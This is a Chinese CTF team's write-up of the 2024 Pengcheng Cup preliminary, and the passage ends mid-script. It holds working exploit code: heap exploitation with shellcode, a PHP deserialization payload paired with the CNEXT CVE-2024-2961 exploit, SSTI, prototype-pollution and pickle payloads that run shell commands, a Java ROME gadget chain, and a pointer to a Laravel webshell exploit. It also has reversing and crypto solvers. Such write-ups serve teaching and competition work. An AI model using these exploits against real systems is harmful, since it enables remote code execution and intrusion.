本次2024鹏城杯(初赛),我们星盟安全团队排名第8。
Pwn
babyheap
由于 add 和 edit 可以越界,因此在 泄露 libc_base 之后,直接利用 edit 修改 stdout 打 house of apple2 即可
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))
l64 = lambda :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = remote('192.168.18.22', 8888)
#p = process('./pwn.bak')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx, size, data):
sla(b'choice:n', b'1')
sla(b'idx:n', str(idx))
sla(b'size:n', str(size))
sa(b'content:n', data)
def delete(idx):
sla(b'choice:n', b'2')
sla(b'idx:n', str(idx))
def show(idx):
sla(b'choice:n', b'3')
sla(b'idx:n', str(idx))
def edit(idx, data):
sla(b'choice:n', b'4')
sla(b'idx:n', str(idx))
s(data)
#debug('b *$rebase(0x14e9)')
#show(-1)
for i in range(0x9):
add(i, 0x300, b'a')
for i in range(0x8):
delete(i)
add(0xa, 0x400, b'a')
add(0xb, 0x100, b'x01')
show(0xb)
libc_base = uu64() - 0x1 - 0x21af00
#debug('b _IO_wdoallocbufnb _IO_wfile_overflow')#
system, binsh = get_sb()
_IO_wfile_jumps = libc_base + - 0x2170c0
jumps = libc_base + 0x216f40
fake_io_addr = libc_base + libc.sym['_IO_2_1_stdout_']
# step 2 : puts -> stdout -> house of apple2
fake_io = b' sh;x00x00x00'
fake_io = fake_io.ljust(0x28, b'x00')
fake_io += p64(0x1)
fake_io = fake_io.ljust(0x68, b'x00')
fake_io += p64(system)
fake_io = fake_io.ljust(0x88, b'x00')
fake_io += p64(libc_base + 0x21f000) # _lock
fake_io += p64(0)*2
fake_io += p64(fake_io_addr)
fake_io = fake_io.ljust(0xc0, b'x00')
fake_io += p64(0)
fake_io = fake_io.ljust(0xd8, b'x00')
fake_io += p64(jumps)
fake_io = fake_io.ljust(0xe0, b'x00')
fake_io += p64(fake_io_addr)
edit(-6, fake_io)
#sla(b'choice:n', b'1')
#lg('heap_base', heap_base)
lg('libc_base', libc_base)
inter()
pause()
cool_book
由于堆块具有 rwx 权限,并且 add 可以直接把堆块指针写在返回地址上,所以这道题目就成了只能写入 0x10 大小的 shellcode 题目,这里利用再次 read 读 orw 泄露 flag
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))
l64 = lambda :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = remote('192.168.18.25', 8888)
#p = process('./pwn')
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
def add(idx, data):
sla(b'exitn', b'1')
sla(b'idxn', str(idx))
sa(b'contentn', data)
def delete(idx):
sla(b'exitn', b'2')
sla(b'idxn', str(idx))
rl(b'addr=')
heap_base = int(r(14), 16) - 0x2a0
#debug('b *$rebase(0x1622)')
add(0x31, asm('xor edi, edi; add rsi, 0x300; mov edx, edx; syscall'))
sla(b'exitn', b'3')
sleep(1)
sc = b'a'*0xd + asm(shellcraft.open('/flag') + shellcraft.read(3, heap_base + 0x1a00, 0x100) + shellcraft.write(1, heap_base + 0x1a00, 0x100))
s(sc)
lg('heap_base', heap_base)
while 1 : pr()
#debug()
#pause()
Web
fileread
反序列化然后打CVE-2024-2961
<?php
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v)
echo $this->cls->$v;
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
var_dump($key);
if($key == 'fileput')
return $this->fileput();
else
return '<p>'.htmlspecialchars($key).'</p>';
}
function fileput(){
echo 'Your file:'.file_get_contents($this->filename);
}
}
if(!empty($_GET)){
$cls = base64_decode($_GET['ser']);
$instance = unserialize($cls);
}else{
$a = new cls1();
$a->show();
}
$cls2 = new cls2();
$cls2->filename = '/flag';
$cls1 = new cls1();
$cls1->cls = $cls2;
$cls1->arr = ['fileput'];
$serialized = (serialize($cls1));
echo $serialized;
Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjExOiIvZXRjL3Bhc3N3ZCI7czozOiJ0eHQiO3M6MDoiIjt9czozOiJhcnIiO2E6MTp7aTowO3M6NzoiZmlsZXB1dCI7fX0
?>
然后需要手动修改一下脚本
ambionics/cnext-exploits:利用CNEXT(CVE-2024-2961),glibc的iconv()中的缓冲区溢出 --- ambionics/cnext-exploits: Exploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc's iconv()
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
from __future__ import annotations
import base64
import zlib
from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
class Remote:
"""A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
```php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```
Tweak it to fit your target, and start the exploit.
"""
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
#主要就是下面两个地方,这里修改为我们的反序列化属性值 传参
payload = 'O:4:"cls1":2:{s:3:"cls";O:4:"cls2":2:{s:8:"filename";s:' + str(len(path)) + ':"' + path + '";s:3:"txt";s:0:"";}s:3:"arr";a:1:{i:0;s:7:"fileput";}'
payload_base = b64(payload.encode('utf-8')).decode('utf-8')
print(payload_base)
return self.session.get(self.url, params={"ser": payload_base})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
print(response)
#这里修改匹配规则
data = response.re.search(b"Your file:(.*)", flags=re.S).group(1)
return base64.decode(data)
根目录执行readflag或者env都可以看到flag
python口算
python脚本计算,拿到源码:/static/f4dd790b-bc4e-48de-b717-903d433c597f 然后fuzz过滤字符
['.', '[', ']', '_', '{', '}', '{{', '}}', '5', '6', '7', '8', '9', "'", '"', '+', '%2B', '%2b', 'request', 'args', ' ']
发现过滤了空白字符,很恶心,但是可以直接print打印,然后正常ssti注入就好了
PS:cat /fag的空格我用的是chr()拼接的,不会触发waf
# --coding: utf-8 --
import requests
import string
def get_calculation():
# 发送GET请求到服务器获取算式
response = requests.get('http://192.168.18.28/calc')
if response.status_code == 200:
calculation = response.text.strip()
return calculation
else:
raise Exception(f"Failed to get calculation, status code: {response.status_code}")
def solve_calculation(calculation):
# 使用eval函数计算算式的结果
try:
result = eval(calculation)
return result
except Exception as e:
raise Exception(f"Failed to solve calculation: {calculation}, error: {str(e)}")
def submit_answer(answer, username):
data = {"username": username}
# 构建提交答案的URL
submit_url = f"http://192.168.18.28/?answer={answer}&Submit=Submit"
response = requests.post(submit_url, data=data)
if response.status_code == 200:
return response.text.strip()
else:
raise Exception(f"Failed to submit answer, status code: {response.status_code}")
def get_dic(filename):
with open(filename, 'r', encoding='utf-8') as file:
lines = file.readlines()
lines_stripped = [line.strip() for line in lines]
return lines_stripped
def fuzz():
fuzz_list = get_dic('ssti.txt')
filtered_list = []
for pl in fuzz_list:
try:
calc = get_calculation()
print(f"Received calculation: {calc}")
answer = solve_calculation(calc)
print(f"Solved answer: {answer}")
username = pl
result = submit_answer(answer, username)
print(f"Server response after submitting answer: {result}")
if "filtered" in result:
print(pl)
filtered_list.append(pl)
except Exception as e:
print(f"An error occurred: {str(e)}")
print(filtered_list)
# 主程序
try:
calc = get_calculation()
print(f"Received calculation: {calc}")
answer = solve_calculation(calc)
print(f"Solved answer: {answer}")
payload = """{%print(''.__class__.__base__.__subclasses__().pop(107).__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat"+chr(32)+"/flag").read()'))%}"""
result = submit_answer(answer, payload)
print(f"Server response after submitting answer: {result}")
except Exception as e:
print(f"An error occurred: {str(e)}")
notadmin
查看附件发现
这里可以eval任意执行 但需要过个鉴权
只有当我们传入的请求头的authorization 的值 能被jwt成功解码就行 但有个前提是jwt的key我们要可控
我们发现login路由 有个原型链污染的漏洞
我们可以构造
{"username":"1","password":"1","proto":{"secretKey":"123"}}来伪造key
但前提是 这个题有个坑 不能一开始点击登录 不然key就会被随机生成 就无法被我们所污染了
然后我们本地起个环境 需要生成一个同样是secretKey=123来加密得到token
拿到token后 再去访问/ 带上authorization头 发现返回了证明已经可以到eval
同时code我们也通过原型链污染解决 这里有个坑 污染code一定要带上key 不然密钥还是会被重置 (本地也试过了确实如此)下面就是绕waf了单双引号被过滤了用``绕过 然后hex用he
.concat(x
)
https://www.anquanke.com/post/id/237032#h3-11根据这篇文章想到绕过思路
给出最后的payload
{"username":"1","password":"1","proto":{"code":"Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(eva
)))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(Buf
)))),1)(676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428226368696c645f70726f6365737322292e657865632822636174202f666c6167203e202f6170702f7075626c69632f312e7478742229
,he
.concat(x
)).toString())","secretKey":"123"}}
可以hex解码看看怎么命令执行由于不出网且app.use(express.static('public')); 可以考虑写到静态目录 最后触发访问得到flag
lookup
没啥难度,没ban二次反序列化直接打Rome链子拼二次反序列化SignedObject加载字节码即可,打tomcat echo拿flag即可
exp如下
package ROME;
import Utils.ReflectUtil;
import Utils.SerializeTools;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import static TemPayload.TemplatesPayload.GenTemplatesPayload;
public class ROME_SignedObject {
public static void main(String[] args) throws Exception {
Templates templates = GenTemplatesPayload("/Users/zjacky/Desktop/pcb/target/classes/com/backdoor/SerializationUtil.class");
HashMap hashMap1 = getpayload(Templates.class, templates);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
ReflectUtil.setValue(badAttributeValueExpException,"val",toStringBean);
System.out.println(SerializeTools.base64serial(badAttributeValueExpException));
}
public static HashMap getpayload(Class clazz, Object obj) throws Exception {
ObjectBean objectBean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "rand"));
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "rand");
ObjectBean expObjectBean = new ObjectBean(clazz, obj);
ReflectUtil.setValue(objectBean, "_equalsBean", new EqualsBean(ObjectBean.class, expObjectBean));
return hashMap;
}
}
ezlaravel
SecPros-Team/laravel-CVE-2021-3129-EXP
直接一键getshell,写入webshell连接即可获取flag
ez_python
开头一个404 扫目录得到/login 给了一个登录框查看源码还发现了另外一个路由 但必须要带有token才能访问
于是想想怎么拿到token
后面实在没办法去爆破账号密码显示登陆成功 给了token 但访问protected路由显示你不是管理员 显然还需要jwt伪造
接着还是爆破jwt得到密码为a123456
伪造jwt
发现返回了ser路由 接着访问
发现是一个pickle反序列化 没给参数 猜测是pickled(后面根据报错也可以试出来其实)
报错提示json
接着想到这里有报错结合flask报错带出
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('cat /flag').read())",))
a=A()
b=pickle.dumps(a)
print(base64.b64encode(b))
得到flag
Re
joyVBS
直接抄的网上hnctf的脚本解混淆
Option Explicit
Function Defuscator(vbs)
Dim t
t = InStr(1, vbs, "Execute", 1)
t = Mid(vbs, t + Len("Execute"))
t = Eval(t)
Defuscator = t
End Function
Dim fso, i
Const ForReading = 1
Set fso = CreateObject("Scripting.FileSystemObject")
For i = 0 To WScript.Arguments.Count - 1
Dim FileName
FileName = WScript.Arguments(i)
Dim MyFile
Set MyFile = fso.OpenTextFile(FileName, ForReading)
Dim vbs
vbs = MyFile.ReadAll
WScript.Echo Defuscator(vbs)
MyFile.Close
Next
Set fso = Nothing
Microsoft (R) Windows Script Host Version 5.812
版权所有(C) Microsoft Corporation。保留所有权利。
MsgBox "VBScript, often abbreviated as VBS, is an event-driven programming language developed by Microsoft, primarily used for scripting in the Windows environment."
MsgBox "It is based on the Visual Basic programming language and is designed to be simple and easy to use, especially for those familiar with the BASIC programming language."
MsgBox "And for me, it is the first programming language that I've leart"
MsgBox "Hackers! Have fun with this VBS challenge!"
flag = InputBox("Enter the FLAG:", "Hack for fun")
wefbuwiue = "NalvN3hKExBtALBtInPtNHTnKJ80L3JtqxTboRA/MbF3LnT0L2zHL2SlqnPtJLAnFbIlL2SnFT8lpzFzA2JHrRTiNmT9"
qwfe = 9+2+2+1
Function Base64Decode(base64EncodedString)
Dim xml, elem
Set xml = CreateObject("MSXML2.DOMDocument")
Set elem = xml.createElement("tmp")
elem.dataType = "bin.base64"
elem.text = base64EncodedString
Dim stream
Set stream = CreateObject("ADODB.Stream")
stream.Type = 1 'Binary
stream.Open
stream.Write elem.nodeTypedValue
stream.Position = 0
stream.Type = 2 'Text
stream.Charset = "utf-8"
Base64Decode = stream.ReadText
stream.Close
End Function
Function Caesar(str,offset)
Dim length,char,i
Caesar = ""
length = Len(str)
For i = 1 To length
char = Mid(str,i,1)
If char >= "A" And char <= "Z" Then
char = Asc("A") + (Asc(char) - Asc("A") + offset) Mod 26
Caesar = Caesar & Chr(char)
ElseIf char >= "a" And char <= "z" Then
char = Asc("a") + (Asc(char) - Asc("a") + offset) Mod 26
Caesar = Caesar & Chr(char)
Else
Caesar = Caesar & char
End If
Next
End Function
If flag = Base64Decode(Caesar(wefbuwiue, 26-qwfe)) Then
MsgBox "Congratulations! Correct FLAG!"
Else
MsgBox "Wrong flag."
End If
凯撒后base64解码即可
def caesar(text, offset):
result = ""
length = len(text)
for i in range(length):
char = text[i]
if 'A' <= char <= 'Z':
char = chr((ord(char) - ord('A') + offset) % 26 + ord('A'))
result += char
elif 'a' <= char <= 'z':
char = chr((ord(char) - ord('a') + offset) % 26 + ord('a'))
result += char
else:
result += char
return result
encoded = caesar("NalvN3hKExBtALBtInPtNHTnKJ80L3JtqxTboRA/MbF3LnT0L2zHL2SlqnPtJLAnFbIlL2SnFT8lpzFzA2JHrRTiNmT9", 12)
print(encoded)
flag{VB3_1s_S0_e1sY_4_u_r1gh3?btw_1t_iS_a1s0_Us3Fu1_a3D_1nTe3eSt1ng!}
RE5
存在异常处理机制,可以改变密钥和随机数的生成。通过调试,可以发现密钥实际上是 2, 2, 3, 3。接下来,可以查看汇编代码,以找到与该异常处理对应的函数。同时,sum 是通过计算 32 个随机数的和得到的,这些随机数是使用 rand 函数生成的。
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
void decrypt ( unsigned int* v, unsigned int* k) {
unsigned int v0=v[0], v1=v[1];
unsigned int delta=0x61C88647;
unsigned int sum=0, i;
unsigned int rd[64] = {};
for (int i = 0; i < 32; i++) {
rd[i] = rand();
}
for (int i = 0; i < 32; ++i) {
sum += rd[i];
}
for (i=0; i<32; ++i) {
v1 -= (k[3] + (v0 >> 5) ) ^ (sum + v0) ^ (k[2] + 16 * v0 );
v0 -= (k[1] + (v1 >> 5) ) ^ (sum + v1) ^ (k[0] + 16 * v1 );
sum -= rd[32-i-1];//解密时将加密算法的顺序倒过来,还有+=变为-=
}
v[0]=v0; v[1]=v1;//解密后再重新赋值
printf("%x,%x",v0,v1);
}
unsigned char enc[] =
{
0xF8, 0x63, 0x20, 0xEA, 0x52, 0xF2, 0x66, 0x8F, 0xEF, 0x72,
0x2A, 0x90, 0x74, 0xDA, 0x1F, 0x41, 0x4D, 0x0D, 0x59, 0x19,
0x17, 0x43, 0xE7, 0xCA, 0x3F, 0x0F, 0x87, 0x63, 0x61, 0xAE,
0x53, 0xD7};
//flag{13245678912345678900123456789012}
int main()
{
unsigned int v[8];
for(int i=0;i<8;i++)
{
v[i]= *((uint32_t*)&enc[i*4]);
// printf("%x ",v[i]);
}
srand(0);
unsigned int k[4]={2,2,3,3};
for(int i=0;i<8;i+=2)
{
decrypt(v+i, k);
}
unsigned char a;
printf("n");
for(int i=0;i<8;i++)
{
for(int k=0;k<4;k++)
{
a= *((unsigned char *)(&v[i])+k);
printf("%c",a);
}
}
return 0;
}
Rafflesia
去除主函数的花指令之后可以得到如下代码看了一下sub_4111E0函数,里面return了sub_411D60函数:
int __cdecl sub_411D60(int a1, int a2, int a3)
{
int i; // [esp+D0h] [ebp-2Ch]
unsigned __int8 v5; // [esp+DFh] [ebp-1Dh]
unsigned __int8 v6; // [esp+DFh] [ebp-1Dh]
int v7; // [esp+E8h] [ebp-14h]
int v8; // [esp+E8h] [ebp-14h]
int v9; // [esp+E8h] [ebp-14h]
int v10; // [esp+E8h] [ebp-14h]
int v11; // [esp+E8h] [ebp-14h]
int v12; // [esp+E8h] [ebp-14h]
int v13; // [esp+F4h] [ebp-8h]
__CheckForDebuggerJustMyCode(&unk_41D0D5);
v13 = 0;
v7 = 0;
while ( v13 < a3 )
{
*(v7 + a2) = aAbcdefghijklmn[(*(v13 + a1) >> 2) & 0x3F];
v8 = v7 + 1;
v5 = (16 * *(v13 + a1)) & 0x30;
if ( v13 + 1 >= a3 )
{
*(v8 + a2) = aAbcdefghijklmn[v5];
v9 = v8 + 1;
*(v9 + a2) = 61;
*(++v9 + a2) = 61;
v7 = v9 + 1;
break;
}
*(v8 + a2) = aAbcdefghijklmn[(*(v13 + a1 + 1) >> 4) & 0xF | v5];
v10 = v8 + 1;
v6 = (4 * *(v13 + a1 + 1)) & 0x3C;
if ( v13 + 2 >= a3 )
{
*(v10 + a2) = aAbcdefghijklmn[v6];
v11 = v10 + 1;
*(v11 + a2) = 61;
v7 = v11 + 1;
break;
}
*(v10 + a2) = aAbcdefghijklmn[(*(v13 + a1 + 2) >> 6) & 3 | v6];
v12 = v10 + 1;
*(v12 + a2) = aAbcdefghijklmn[*(v13 + a1 + 2) & 0x3F];
v7 = v12 + 1;
v13 += 3;
}
*(v7 + a2) = 0;
for ( i = 0; i < v7; ++i )
*(i + a2) ^= 0x18u;
return a2;
}
是一个base64然后编码结果异或0x18
写个脚本把编码后的结果跑出来:
str = "H@^jHwpsH)[jH{M/\tBBK_|-O{W.iJZ7\)|~zaB^H+Lwv{SS|-j@\_[Y"
flag=""
for i in range(len(str)):
flag+=chr(ord(str[i])^0x18)
print(flag)
# PXFrPohkP1CrPcU7DlZZSGd5WcO6qRB/D1dfbyZFP3ToncKKd5rXDGCA
但这一看就不是标准的base64表,于是我启动动调像看看换表长什么样
发现有反调试,本来以为是主函数里面的,于是在函数最开始的地方下了个断点发现还是有反调试
这时候就想到了tls回调函数(我出过TLS回调函数的题,并且在里面塞了Base换表,同时加了花指令,真巧)直接能搜到,我们进去之后发现又有花指令
懒得去花了,直接看汇编,在开头下断点发现到这里之后一直对码表进行循环操作,于是直接把断点下在反调之前,跑过去
得到码表,解base64就行了
import base64
import string
str = "H@^jHwpsH)[jH{M/\tBBK_|-O{W.iJZ7\)|~zaB^H+Lwv{SS|-j@\_[Y"
enc=""
for i in range(len(str)):
enc+=chr(ord(str[i])^0x18)
print(enc)
str1 = enc # 待解秘字符串
string1 = "HElRNYGmBOMWnbDvUCgcpu1QdPqJIS+iTry39KXse4jLh/x26Ff5Z7Vokt8wzAa0" # 新表
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))
exec
前半段是无限的base编码 一直解。 后面是一个简单的RC4魔改。 gpt写得解码读写文件
import base64 # 导入 base64 模块
# 假设 v 是一个需要解码的字符串,使用 base85 编码进行解码
k = base64.b85decode(v) # 使用 base85 解码 v
# 如果需要使用 base32 解码,可以使用下面的代码:
# k = base64.b32decode(v)
with open('codeeeee.txt', 'wb') as f:
f.write(k) # 将解码后的内容写入文件
源码如下
a = True
d = len
G = list
g = range
s = next
R = bytes
o = input
Y = print
def l(S):
i = 0
j = 0
while a:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def N(key, O):
I = d(key)
S = G(g(256))
j = 0
for i in g(256):
j = (j + S[i] + key[i % I]) % 256
S[i], S[j] = S[j], S[i]
z = l(S)
n = []
for k in O:
n.append(k ^ s(z) + 2)
return R(n)
def E(s, parts_num):
Q = d(s.decode())
S = Q // parts_num
u = Q % parts_num
W = []
j = 0
for i in g(parts_num):
T = j + S
if u > 0:
T += 1
u -= 1
W.append(s[j:T])
j = T
return W
if __name__ == '__main__':
L = o('input the flag: >>> ').encode()
assert d(L) % 2 == 0, 'flag length should be even'
t = b'v3ry_s3cr3t_p@ssw0rd'
O = E(L, 2)
U = []
for i in O:
U.append(N(t, i).hex())
if U == ['1796972c348bc4fe7a1930b833ff10a80ab281627731ab705dacacfef2e2804d74ab6bc19f60', '2ea999141a8cc9e47975269340c177c726a8aa732953a66a6af183bcd9cec8464a']:
Y('Congratulations! You got the flag!')
else:
Y('Wrong flag!')
key = "v3ry_s3cr3t_p@ssw0rd"
enc = [0x17,0x96,0x97,0x2c,0x34,0x8b,0xc4,0xfe,0x7a,0x19,0x30,0xb8,0x33,0xff,0x10,0xa8,0x0a,0xb2,0x81,0x62,0x77,0x31,0xab,0x70,0x5d,0xac,0xac,0xfe,0xf2,0xe2,0x80,0x4d,0x74,0xab,0x6b,
0xc1,0x9f,0x60]
# 0x17,0x96,0x97,0x2c,0x34,0x8b,0xc4,0xfe,0x7a,0x19,0x30,0xb8,0x33,0xff,0x10,0xa8,0x0a,0xb2,0x81,0x62,0x77,0x31,0xab,0x70,0x5d,0xac,0xac,0xfe,0xf2,0xe2,0x80,0x4d,0x74,0xab,0x6b,0xc1,0x9f,0x60
# 0x2e,0xa9,0x99,0x14,0x1a,0x8c,0xc9,0xe4,0x79,0x75,0x26,0x93,0x40,0xc1,0x77,0xc7,0x26,0xa8,0xaa,0x73,0x29,0x53,0xa6,0x6a,0x6a,0xf1,0x83,0xbc,0xd9,0xce,0xc8,0x46,0x4a
flag=''
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
res = []
i = j = 0
for s in enc:
i = (i + 1) % 256
j = (j + s_box[i]) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
t = (s_box[i] + s_box[j]) % 256
k = s_box[t]
flag+= chr(s^ (k+2))
print(flag)
flag{thEn_I_Ca5_BE_YoUR_Onl7_ExeCUti6n_So_Use_m3_t0_R0n_tH17_Ex3Cuti0n}
flag截图带时间戳如下:
Crypto
ezrsa
from Crypto.Util.number import *
from random import *
from secret import flag
import os
def pad_flag(flag, bits=1024):
pad = os.urandom(bits//8 - len(flag))
return int.from_bytes(flag + pad, "big")
p,q = [getPrime(1024) for _ in "RSA"[1:]]
a,b = [randint(0, 2**1024) for _ in "RSA"[:-1]]
n = p * q
e = 0x10001
m = pad_flag(flag)
assert m < n
c = pow(m, e, n)
print(c)
print(n)
print(p + b * q)
print(a * p + q)
# 11850797596095451670524864488046085367812828367468720385501401042627802035427938560866042101544712923470757782908521283827297125349504897418356898752774318846698532487439368216818306352553082800908866174488983776084101115047054799618258909847935672497139557595959270012943240666681053544905262111921321629682394432293381001209674417203517322559283298774214341100975920287314509947562597521988516473281739331823626676843441511662000240327706777269733836703945274332346982187104319993337626265180132608256601473051048047584429295402047392826197446200263357260338332947498385907066370674323324146485465822881995994908925
# 21318014445451076173373282785176305352774631352746325570797607376133429388430074045541507180590869533728841479322829078527002230672051057531691634445544608584952008820389785877589775003311007782211153558201413379523215950193011250189319461422835303446888969202767656215090179505169679429932715040614611462819788222032915253996376941436179412296039698843901058781175173984980266474602529294294210502556931214075073722598225683528873417278644194278806584861250188304944748756498325965302770207316134309941501186831407953950259399116931502886169434888276069750811498361059787371599929532460624327554481179566565183721777
# 4780454330598494796755521994676122817049316484524449315904838558624282970709853419493322324981097593808974378840031638879097938241801612033487018497098140216369858849215655128326752931937595077084912993941304190099338282258345677248403566469008681644014648936628917169410836177868780315684341713654307395687505633335014603359767330561537038768638735748918661640474253502491969012573691915259958624247097465484616897537609020908205710563729989781151998857899164730749018285034659826333237729626543828084565456402192248651439973664388584573568717209037035304656129544659938260424175198672402598017357232325892636389317
# 9819969459625593669601382899520076842920503183309309803192703938113310555315820609668682700395783456748733586303741807720797250273398269491111457242928322099763695038354042594669354762377904219084248848357721789542296806917415858628166620939519882488036571575584114090978113723733730014540463867922496336721404035184980539976055043268531950537390688608145163366927155216880223837210005451630289274909202545128326823263729300705064272989684160839861214962848466991460734691634724996390718260697593087126527364129385260181297994656537605275019190025309958225118922301122440260517901900886521746387796688737094737637604
题目一眼顶针,刚刚结束的强网杯初赛的dpbq的第三步,这个应该为当时的预期解,然后这个和那个参数不一样,但是和原题参数一模一样
https://github.com/defund/ctf/blob/master/angstromctf-2024/blahaj/solve.sage
直接换个数据跑脚本就ok了,:)
from Crypto.Util.number import *
hints = (4780454330598494796755521994676122817049316484524449315904838558624282970709853419493322324981097593808974378840031638879097938241801612033487018497098140216369858849215655128326752931937595077084912993941304190099338282258345677248403566469008681644014648936628917169410836177868780315684341713654307395687505633335014603359767330561537038768638735748918661640474253502491969012573691915259958624247097465484616897537609020908205710563729989781151998857899164730749018285034659826333237729626543828084565456402192248651439973664388584573568717209037035304656129544659938260424175198672402598017357232325892636389317,9819969459625593669601382899520076842920503183309309803192703938113310555315820609668682700395783456748733586303741807720797250273398269491111457242928322099763695038354042594669354762377904219084248848357721789542296806917415858628166620939519882488036571575584114090978113723733730014540463867922496336721404035184980539976055043268531950537390688608145163366927155216880223837210005451630289274909202545128326823263729300705064272989684160839861214962848466991460734691634724996390718260697593087126527364129385260181297994656537605275019190025309958225118922301122440260517901900886521746387796688737094737637604)
n=21318014445451076173373282785176305352774631352746325570797607376133429388430074045541507180590869533728841479322829078527002230672051057531691634445544608584952008820389785877589775003311007782211153558201413379523215950193011250189319461422835303446888969202767656215090179505169679429932715040614611462819788222032915253996376941436179412296039698843901058781175173984980266474602529294294210502556931214075073722598225683528873417278644194278806584861250188304944748756498325965302770207316134309941501186831407953950259399116931502886169434888276069750811498361059787371599929532460624327554481179566565183721777
c = 11850797596095451670524864488046085367812828367468720385501401042627802035427938560866042101544712923470757782908521283827297125349504897418356898752774318846698532487439368216818306352553082800908866174488983776084101115047054799618258909847935672497139557595959270012943240666681053544905262111921321629682394432293381001209674417203517322559283298774214341100975920287314509947562597521988516473281739331823626676843441511662000240327706777269733836703945274332346982187104319993337626265180132608256601473051048047584429295402047392826197446200263357260338332947498385907066370674323324146485465822881995994908925
y=hints[0]
x=hints[1]
e = 65537
R = Integers(n)
P.<a, b, p, q> = PolynomialRing(Integers(n))
f1 = a*p + q
f2 = p + b*q
f3 = p*q
I = Ideal([f1 - x, f2 - y, f3 - n])
B = I.groebner_basis()
g = B[-1]
z = ZZ(g.coefficient({q: 1}))
assert g.constant_coefficient() == R(-y)
_, (z1, _), (z2, _) = list(g)
z1 = ZZ(z1)
z2 = ZZ(z2)
S = 2^1024
